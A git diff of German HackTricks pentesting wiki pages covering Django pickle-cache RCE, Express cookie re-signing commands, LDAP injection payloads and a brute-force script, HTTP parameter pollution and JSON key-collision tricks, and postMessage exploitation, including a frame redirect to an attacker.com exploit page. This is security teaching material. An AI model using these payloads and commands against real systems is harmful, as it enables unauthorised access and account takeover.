Die standardmäßige Cache-Speichermethode von Django sind [Python-Pickles](https://docs.python.org/3/library/pickle.html), was zu RCE führen kann, wenn [nicht vertrauenswürdige Eingaben unpickled werden](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren**.
|
||||
|
||||
Der Django-Cache wird an einem von vier Orten gespeichert: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [Speicher](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [Dateien](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) oder eine [Datenbank](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Caches, die in einem Redis-Server oder einer Datenbank gespeichert sind, sind die wahrscheinlichsten Angriffsvektoren (Redis-Injection und SQL-Injection), aber ein Angreifer könnte auch in der Lage sein, den dateibasierten Cache zu nutzen, um einen beliebigen Schreibvorgang in RCE umzuwandeln. Die Maintainer haben dies als kein Problem eingestuft. Es ist wichtig zu beachten, dass der Cache-Dateiordner, der SQL-Tabellenname und die Details des Redis-Servers je nach Implementierung variieren.
|
||||
|
||||
Dieser HackerOne-Bericht bietet ein großartiges, reproduzierbares Beispiel für die Ausnutzung des Django-Caches, der in einer SQLite-Datenbank gespeichert ist: https://hackerone.com/reports/1415436
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1 +0,0 @@
|
||||
# GWT - Google Web Toolkit
|
@ -1,5 +1,7 @@
|
||||
# NodeJS Express
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Cookie-Signatur
|
||||
|
||||
Das Tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) ist ein Dienstprogramm zur Automatisierung des Testens und der erneuten Signierung von Express.js-Cookie-Geheimnissen.
|
||||
@ -12,7 +14,7 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
|
||||
```bash
|
||||
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
|
||||
```
|
||||
### Testen Sie mehrere Cookies im Batch-Modus
|
||||
### Testen mehrerer Cookies im Batch-Modus
|
||||
```bash
|
||||
cookie-monster -b -f cookies.json
|
||||
```
|
||||
@ -26,4 +28,4 @@ Wenn Sie das Geheimnis kennen, können Sie das Cookie signieren.
|
||||
```bash
|
||||
cookie-monster -e -f new_cookie.json -k secret
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,113 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
Sie können fragen, ob eine IP mit verdächtigen/malicious Aktivitäten in Verbindung steht. Völlig kostenlos.
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
Überprüfen Sie, ob die IP-Adresse mit einem Bot verbunden ist, der Konten registriert. Es kann auch Benutzernamen und E-Mails überprüfen. Zunächst kostenlos.
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
|
||||
Finden und verifizieren Sie E-Mails. Einige kostenlose API-Anfragen, für mehr müssen Sie bezahlen. Kommerziell?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
Finden Sie bösartige Aktivitäten, die mit IPs und Domains verbunden sind. Kostenlos.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
Finden Sie persönliche Daten zu einer E-Mail \(Profile auf anderen Plattformen\), Domain \(Basisinformationen über Unternehmen, E-Mails und Personen, die dort arbeiten\) und Unternehmen \(Unternehmensinformationen aus E-Mails abrufen\). Sie müssen bezahlen, um auf alle Möglichkeiten zuzugreifen. Kommerziell?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
|
||||
Technologien, die von Webseiten verwendet werden. Teuer... Kommerziell?
|
||||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
Überprüfen Sie, ob ein Host \(Domain oder IP\) mit verdächtigen/malicious Aktivitäten in Verbindung steht. Hat einige kostenlose API-Zugriffe. Kommerziell?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
Überprüfen Sie, ob ein Host \(Domain oder IP\) mit verdächtigen/malicious Aktivitäten in Verbindung steht. Hat einige kostenlose API-Zugriffe.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
Gibt an, ob der Host mit Spam-Aktivitäten in Verbindung steht. Hat einige kostenlose API-Zugriffe.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
|
||||
Basierend auf Meinungen und anderen Metriken herausfinden, ob eine Domain mit verdächtigen/malicious Informationen in Verbindung steht.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
|
||||
Erhält grundlegende Informationen von einer IP-Adresse. Sie können bis zu 100K pro Monat testen.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
Diese Plattform gibt Informationen über Domains und IP-Adressen wie Domains innerhalb einer IP oder innerhalb eines Domain-Servers, Domains, die von einer E-Mail besessen werden \(verwandte Domains finden\), IP-Historie von Domains \(den Host hinter CloudFlare finden\), alle Domains, die einen Nameserver verwenden.... Sie haben einige kostenlose Zugriffe.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
Ermöglicht die Suche nach E-Mail, Domain oder Unternehmensnamen und das Abrufen von "persönlichen" Informationen. Es kann auch E-Mails verifizieren. Es gibt einige kostenlose Zugriffe.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
Eine Menge Informationen von Domains und IPs, sogar in der kostenlosen/Community-Version.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
Durchsuchen Sie Domains, IPs und E-Mails und erhalten Sie Informationen aus Dumps. Hat einige kostenlose Zugriffe.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
Suchen Sie nach IP und sammeln Sie Informationen zu verdächtigen Aktivitäten. Es gibt einige kostenlose Zugriffe.
|
||||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
Suchen Sie nach IP oder IP-Bereich und erhalten Sie Informationen über IPs, die das Internet scannen. 15 Tage kostenloser Zugang.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
|
||||
Erhalten Sie Scan-Informationen zu einer IP-Adresse. Hat einige kostenlose API-Zugriffe.
|
||||
|
||||
# [Censys](https://censys.io/)
|
||||
|
||||
Sehr ähnlich wie Shodan.
|
||||
|
||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
|
||||
Finden Sie offene S3-Buckets, indem Sie nach Schlüsselwörtern suchen.
|
||||
|
||||
# [Dehashed](https://www.dehashed.com/data)
|
||||
|
||||
Finden Sie geleakte Anmeldeinformationen von E-Mails und sogar Domains. Kommerziell?
|
||||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
|
||||
Durchsuchen Sie Pastebins, in denen eine E-Mail erschienen ist. Kommerziell?
|
||||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
|
||||
Erhalten Sie den Ruf einer E-Mail. Kommerziell?
|
||||
|
||||
# [ghostproject](https://ghostproject.fr/)
|
||||
|
||||
Erhalten Sie Passwörter von geleakten E-Mails. Kommerziell?
|
||||
|
||||
# [Binaryedge](https://www.binaryedge.io/)
|
||||
|
||||
Erhalten Sie interessante Informationen von IPs.
|
||||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
Suchen Sie nach Domain und E-Mail und erfahren Sie, ob sie gehackt wurde und Passwörter. Kommerziell?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/) \(in einem kommerziellen Tool?\)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(in einem kommerziellen Tool?\)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in einem kommerziellen Tool?\)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,41 +0,0 @@
|
||||
# Andere Web-Tricks
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
### Host-Header
|
||||
|
||||
Mehrmals vertraut das Backend dem **Host-Header**, um einige Aktionen durchzuführen. Zum Beispiel könnte es seinen Wert als **Domain für das Senden eines Passwort-Reset** verwenden. Wenn Sie also eine E-Mail mit einem Link zum Zurücksetzen Ihres Passworts erhalten, ist die verwendete Domain die, die Sie im Host-Header eingegeben haben. Dann können Sie die Passwortzurücksetzung anderer Benutzer anfordern und die Domain auf eine von Ihnen kontrollierte ändern, um deren Passwort-Reset-Codes zu stehlen. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass es möglich ist, dass Sie nicht einmal warten müssen, bis der Benutzer auf den Link zum Zurücksetzen des Passworts klickt, um das Token zu erhalten, da möglicherweise sogar **Spam-Filter oder andere Zwischengeräte/Bots darauf klicken, um es zu analysieren**.
|
||||
|
||||
### Sitzungs-Boolean
|
||||
|
||||
Manchmal, wenn Sie eine Überprüfung korrekt abschließen, wird das Backend **einfach einen Boolean mit dem Wert "True" zu einem Sicherheitsattribut Ihrer Sitzung hinzufügen**. Dann wird ein anderer Endpunkt wissen, ob Sie diese Überprüfung erfolgreich bestanden haben.\
|
||||
Wenn Sie jedoch **die Überprüfung bestehen** und Ihre Sitzung diesen "True"-Wert im Sicherheitsattribut erhält, können Sie versuchen, **auf andere Ressourcen zuzugreifen**, die **von demselben Attribut abhängen**, auf die Sie jedoch **keine Berechtigung** haben sollten. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Registrierungsfunktionalität
|
||||
|
||||
Versuchen Sie, sich als bereits existierender Benutzer zu registrieren. Versuchen Sie auch, äquivalente Zeichen (Punkte, viele Leerzeichen und Unicode) zu verwenden.
|
||||
|
||||
### Übernahme von E-Mails
|
||||
|
||||
Registrieren Sie eine E-Mail, ändern Sie die E-Mail, bevor Sie sie bestätigen, und wenn die neue Bestätigungs-E-Mail an die zuerst registrierte E-Mail gesendet wird, können Sie jede E-Mail übernehmen. Oder wenn Sie die zweite E-Mail aktivieren können, die die erste bestätigt, können Sie auch jedes Konto übernehmen.
|
||||
|
||||
### Zugriff auf den internen Servicedesk von Unternehmen, die Atlassian verwenden
|
||||
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE-Methode
|
||||
|
||||
Entwickler könnten vergessen, verschiedene Debugging-Optionen in der Produktionsumgebung zu deaktivieren. Zum Beispiel ist die HTTP `TRACE`-Methode für Diagnosezwecke gedacht. Wenn sie aktiviert ist, antwortet der Webserver auf Anfragen, die die `TRACE`-Methode verwenden, indem er in der Antwort die genaue Anfrage zurückgibt, die empfangen wurde. Dieses Verhalten ist oft harmlos, führt aber gelegentlich zu Informationslecks, wie z.B. den Namen interner Authentifizierungsheader, die von Reverse-Proxys an Anfragen angehängt werden können.
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
### Same-Site-Scripting
|
||||
|
||||
Es tritt auf, wenn wir auf eine Domain oder Subdomain stoßen, die aufgrund bestimmter DNS-Fehlkonfigurationen auf localhost oder 127.0.0.1 aufgelöst wird. Es ermöglicht einem Angreifer, die Same-Origin-Beschränkungen des RFC2109 (HTTP State Management Mechanism) zu umgehen und somit die Zustandsverwaltungsdaten zu übernehmen. Es kann auch Cross-Site-Scripting ermöglichen. Sie können mehr darüber [hier](https://seclists.org/bugtraq/2008/Jan/270) lesen.
|
@ -1,9 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
**Recherchieren Sie mehr über Angriffe auf DNS**
|
||||
|
||||
**DNSSEC und DNSSEC3**
|
||||
|
||||
**DNS in IPv6**
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,7 +1,5 @@
|
||||
# LDAP Injection
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## LDAP Injection
|
||||
@ -14,7 +12,7 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Es tritt auf, wenn die Anwendung **nicht ordnungsgemäß** Eingaben **bereinigt**, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.
|
||||
**LDAP Injection** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Es tritt auf, wenn die Anwendung **nicht ordnungsgemäß** Eingaben bereinigt, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.
|
||||
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
@ -22,17 +20,17 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = und / oder / nicht / element\
|
||||
**Und** = & filterliste\
|
||||
**Oder** = |filterliste\
|
||||
**Und** = & filterlist\
|
||||
**Oder** = |filterlist\
|
||||
**Nicht** = ! filter\
|
||||
**Filterliste** = 1\*filter\
|
||||
**Filterlist** = 1\*filter\
|
||||
**Element**= einfach / vorhanden / substring\
|
||||
**Einfach** = attr filtertyp assertionswert\
|
||||
**Filtertyp** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Einfach** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Vorhanden** = attr = \*\
|
||||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionswert\
|
||||
**Final** = assertionswert\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
**(&)** = Absolut WAHR\
|
||||
**(|)** = Absolut FALSCH
|
||||
|
||||
@ -119,9 +117,9 @@ password=any
|
||||
- [LDAP-Attribute](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
|
||||
- [LDAP PosixAccount-Attribute](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
|
||||
### Blinde LDAP-Injection
|
||||
### Blind LDAP-Injection
|
||||
|
||||
Sie können False- oder True-Antworten erzwingen, um zu überprüfen, ob Daten zurückgegeben werden, und eine mögliche blinde LDAP-Injection zu bestätigen:
|
||||
Sie können False- oder True-Antworten erzwingen, um zu überprüfen, ob Daten zurückgegeben werden, und eine mögliche Blind LDAP-Injection zu bestätigen:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
@ -146,11 +144,11 @@ Sie können über die ASCII-Buchstaben, Ziffern und Symbole iterieren:
|
||||
(&(sn=administrator)(password=MB*)) : KO
|
||||
...
|
||||
```
|
||||
### Scripts
|
||||
### Skripte
|
||||
|
||||
#### **Gültige LDAP-Felder entdecken**
|
||||
|
||||
LDAP-Objekte **enthalten standardmäßig mehrere Attribute**, die verwendet werden können, um **Informationen zu speichern**. Sie können versuchen, **alle davon mit Brute-Force zu extrahieren.** Eine Liste der [**Standard-LDAP-Attribute finden Sie hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
LDAP-Objekte **enthalten standardmäßig mehrere Attribute**, die verwendet werden können, um **Informationen zu speichern**. Sie können versuchen, **alle davon zu brute-forcen, um diese Informationen zu extrahieren.** Eine Liste der [**Standard-LDAP-Attribute finden Sie hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -1,17 +1,14 @@
|
||||
# Parameter Pollution | JSON Injection
|
||||
|
||||
## Parameter Pollution
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## HTTP Parameter Pollution (HPP) Übersicht
|
||||
|
||||
HTTP Parameter Pollution (HPP) ist eine Technik, bei der Angreifer HTTP-Parameter manipulieren, um das Verhalten einer Webanwendung auf unbeabsichtigte Weise zu ändern. Diese Manipulation erfolgt durch das Hinzufügen, Ändern oder Duplizieren von HTTP-Parametern. Die Auswirkungen dieser Manipulationen sind für den Benutzer nicht direkt sichtbar, können jedoch die Funktionalität der Anwendung auf der Serverseite erheblich verändern, mit beobachtbaren Auswirkungen auf der Clientseite.
|
||||
|
||||
### Beispiel für HTTP Parameter Pollution (HPP)
|
||||
|
||||
Eine Transaktions-URL einer Banking-Anwendung:
|
||||
Eine Transaktions-URL einer Bankanwendung:
|
||||
|
||||
- **Ursprüngliche URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
@ -31,17 +28,17 @@ Die Transaktion könnte fälschlicherweise `accountC` anstelle von `accountA` be
|
||||
**OTP-Manipulationsfall:**
|
||||
|
||||
- **Kontext:** Ein Anmeldeverfahren, das ein Einmalpasswort (OTP) erfordert, wurde ausgenutzt.
|
||||
- **Methode:** Durch das Abfangen der OTP-Anforderung mit Tools wie Burp Suite duplizierten Angreifer den `email`-Parameter in der HTTP-Anforderung.
|
||||
- **Ergebnis:** Das OTP, das für die ursprüngliche E-Mail bestimmt war, wurde stattdessen an die zweite in der manipulierten Anfrage angegebene E-Mail-Adresse gesendet. Dieser Fehler ermöglichte unbefugten Zugriff, indem die beabsichtigte Sicherheitsmaßnahme umgangen wurde.
|
||||
- **Methode:** Durch das Abfangen der OTP-Anfrage mit Tools wie Burp Suite duplizierten Angreifer den `email`-Parameter in der HTTP-Anfrage.
|
||||
- **Ergebnis:** Das OTP, das für die ursprüngliche E-Mail gedacht war, wurde stattdessen an die zweite in der manipulierten Anfrage angegebene E-Mail-Adresse gesendet. Dieser Fehler ermöglichte unbefugten Zugriff, indem die beabsichtigte Sicherheitsmaßnahme umgangen wurde.
|
||||
|
||||
Dieses Szenario hebt einen kritischen Fehler im Backend der Anwendung hervor, das den ersten `email`-Parameter zur OTP-Generierung verarbeitete, aber den letzten für die Zustellung verwendete.
|
||||
|
||||
**API-Schlüssel-Manipulationsfall:**
|
||||
|
||||
- **Szenario:** Eine Anwendung ermöglicht es Benutzern, ihren API-Schlüssel über eine Profilseite zu aktualisieren.
|
||||
- **Angriffsvektor:** Ein Angreifer entdeckt, dass er durch das Anhängen eines zusätzlichen `api_key`-Parameters an die POST-Anforderung das Ergebnis der API-Schlüsselaktualisierungsfunktion manipulieren kann.
|
||||
- **Technik:** Mit einem Tool wie Burp Suite erstellt der Angreifer eine Anfrage, die zwei `api_key`-Parameter enthält: einen legitimen und einen bösartigen. Der Server, der nur die letzte Instanz verarbeitet, aktualisiert den API-Schlüssel auf den vom Angreifer bereitgestellten Wert.
|
||||
- **Ergebnis:** Der Angreifer erhält die Kontrolle über die API-Funktionalität des Opfers und kann möglicherweise private Daten unbefugt abrufen oder ändern.
|
||||
- **Angriffsvektor:** Ein Angreifer entdeckt, dass er durch das Anhängen eines zusätzlichen `api_key`-Parameters an die POST-Anfrage das Ergebnis der API-Schlüsselaktualisierungsfunktion manipulieren kann.
|
||||
- **Technik:** Mit einem Tool wie Burp Suite erstellt der Angreifer eine Anfrage, die zwei `api_key`-Parameter enthält: einen legitimen und einen bösartigen. Der Server, der nur das letzte Vorkommen verarbeitet, aktualisiert den API-Schlüssel auf den vom Angreifer bereitgestellten Wert.
|
||||
- **Ergebnis:** Der Angreifer erhält die Kontrolle über die API-Funktionalität des Opfers und kann möglicherweise unbefugt auf private Daten zugreifen oder diese ändern.
|
||||
|
||||
Dieses Beispiel unterstreicht weiter die Notwendigkeit einer sicheren Parameterverarbeitung, insbesondere bei so kritischen Funktionen wie der Verwaltung von API-Schlüsseln.
|
||||
|
||||
@ -94,28 +91,28 @@ Die Ergebnisse stammen von [https://medium.com/@0xAwali/http-parameter-pollution
|
||||
|
||||
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[] wird nicht erkannt.
|
||||
1. name\[] wird NICHT erkannt.
|
||||
2. Bevorzuge den ersten Parameter.
|
||||
|
||||
### Python 3.12.6 UND Werkzeug 3.0.4 UND Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||
|
||||
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[] wird nicht erkannt.
|
||||
1. name\[] wird NICHT erkannt.
|
||||
2. Bevorzuge den ersten Parameter.
|
||||
|
||||
### Python 3.12.6 UND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||
|
||||
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[] wird nicht erkannt.
|
||||
1. name\[] wird NICHT erkannt.
|
||||
2. Bevorzuge den letzten Parameter.
|
||||
|
||||
### Python 3.12.6 UND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||
|
||||
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[] wird nicht erkannt.
|
||||
1. name\[] wird NICHT erkannt.
|
||||
2. Bevorzuge den letzten Parameter.
|
||||
|
||||
## JSON Injection
|
||||
@ -126,7 +123,7 @@ obj = {"test": "user", "test": "admin"}
|
||||
```
|
||||
Die Front-End-Anwendung könnte die erste Vorkommen glauben, während das Backend das zweite Vorkommen des Schlüssels verwendet.
|
||||
|
||||
### Schlüsselkonkurrenz: Zeichenabschneidung und Kommentare
|
||||
### Schlüssel-Kollision: Zeichenkürzung und Kommentare
|
||||
|
||||
Bestimmte Zeichen werden vom Frontend möglicherweise nicht korrekt interpretiert, aber das Backend wird sie interpretieren und diese Schlüssel verwenden. Dies könnte nützlich sein, um **bestimmte Einschränkungen zu umgehen**:
|
||||
```json
|
||||
@ -135,7 +132,7 @@ Bestimmte Zeichen werden vom Frontend möglicherweise nicht korrekt interpretier
|
||||
{"test": 1, "test"": 2}
|
||||
{"test": 1, "te\st": 2}
|
||||
```
|
||||
Beachten Sie, dass in diesen Fällen das Frontend denken könnte, dass `test == 1` und das Backend denken wird, dass `test == 2`.
|
||||
Beachten Sie, dass in diesen Fällen das Frontend denken könnte, dass `test == 1` und das Backend denken könnte, dass `test == 2`.
|
||||
|
||||
Dies kann auch verwendet werden, um Wertbeschränkungen zu umgehen wie:
|
||||
```json
|
||||
@ -150,13 +147,13 @@ obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test":
|
||||
```
|
||||
Hier verwenden wir den Serializer von jedem Parser, um dessen jeweilige Ausgabe zu sehen.
|
||||
|
||||
Serializer 1 (z.B. GoLangs GoJay-Bibliothek) produziert:
|
||||
Serializer 1 (z. B. GoLangs GoJay-Bibliothek) wird produzieren:
|
||||
|
||||
- `description = "Duplicate with comments"`
|
||||
- `test = 2`
|
||||
- `extra = ""`
|
||||
|
||||
Serializer 2 (z.B. Javas JSON-iterator-Bibliothek) produziert:
|
||||
Serializer 2 (z. B. Javas JSON-iterator-Bibliothek) wird produzieren:
|
||||
|
||||
- `description = "Duplicate with comments"`
|
||||
- `extra = "/*"`
|
||||
|
@ -1,7 +1,5 @@
|
||||
# PostMessage-Sicherheitsanfälligkeiten
|
||||
|
||||
## PostMessage-Sicherheitsanfälligkeiten
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sende **PostMessage**
|
||||
@ -54,7 +52,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
}
|
||||
</script>
|
||||
```
|
||||
## addEventListener Ausnutzung
|
||||
## addEventListener-Ausnutzung
|
||||
|
||||
**`addEventListener`** ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die **`postMessages`** **erwartet**.\
|
||||
Ein ähnlicher Code wie der folgende wird verwendet:
|
||||
@ -69,9 +67,9 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
Hinweis in diesem Fall, dass das **erste, was** der Code tut, ist **die Herkunft zu überprüfen**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel).
|
||||
Hinweis in diesem Fall, dass das **erste, was** der Code tut, **die Herkunft überprüft**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel).
|
||||
|
||||
### Aufzählung
|
||||
### Enumeration
|
||||
|
||||
Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie:
|
||||
|
||||
@ -89,20 +87,20 @@ Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie:
|
||||
### Herkunftsüberprüfungsumgehungen
|
||||
|
||||
- Das **`event.isTrusted`** Attribut gilt als sicher, da es `True` nur für Ereignisse zurückgibt, die durch echte Benutzeraktionen erzeugt werden. Obwohl es schwierig ist, dies zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung in Sicherheitsüberprüfungen bemerkenswert.
|
||||
- Die Verwendung von **`indexOf()`** zur Herkunftsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:
|
||||
- Die Verwendung von **`indexOf()`** zur Herkunftsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Verwundbarkeit veranschaulicht, ist:
|
||||
|
||||
```javascript
|
||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||
```
|
||||
|
||||
- Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Alles, was kein regulärer Ausdruck ist, führt zu einer impliziten Umwandlung in einen regulären Ausdruck, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regulären Ausdrücken ein Punkt (.) als Platzhalter fungiert, was eine Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
|
||||
- Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Das Übergeben von etwas anderem als einem regexp führt zu einer impliziten Umwandlung in regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regex ein Punkt (.) als Platzhalter fungiert, was die Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
|
||||
- Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet reguläre Ausdrücke. Wenn der reguläre Ausdruck unsachgemäß strukturiert ist, könnte er anfällig für Umgehungen sein.
|
||||
- Die **`escapeHtml`** Funktion soll Eingaben durch Escape von Zeichen bereinigen. Sie erstellt jedoch kein neues escaped Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft `hasOwnProperty` nicht anerkennt, wird die `escapeHtml` nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert:
|
||||
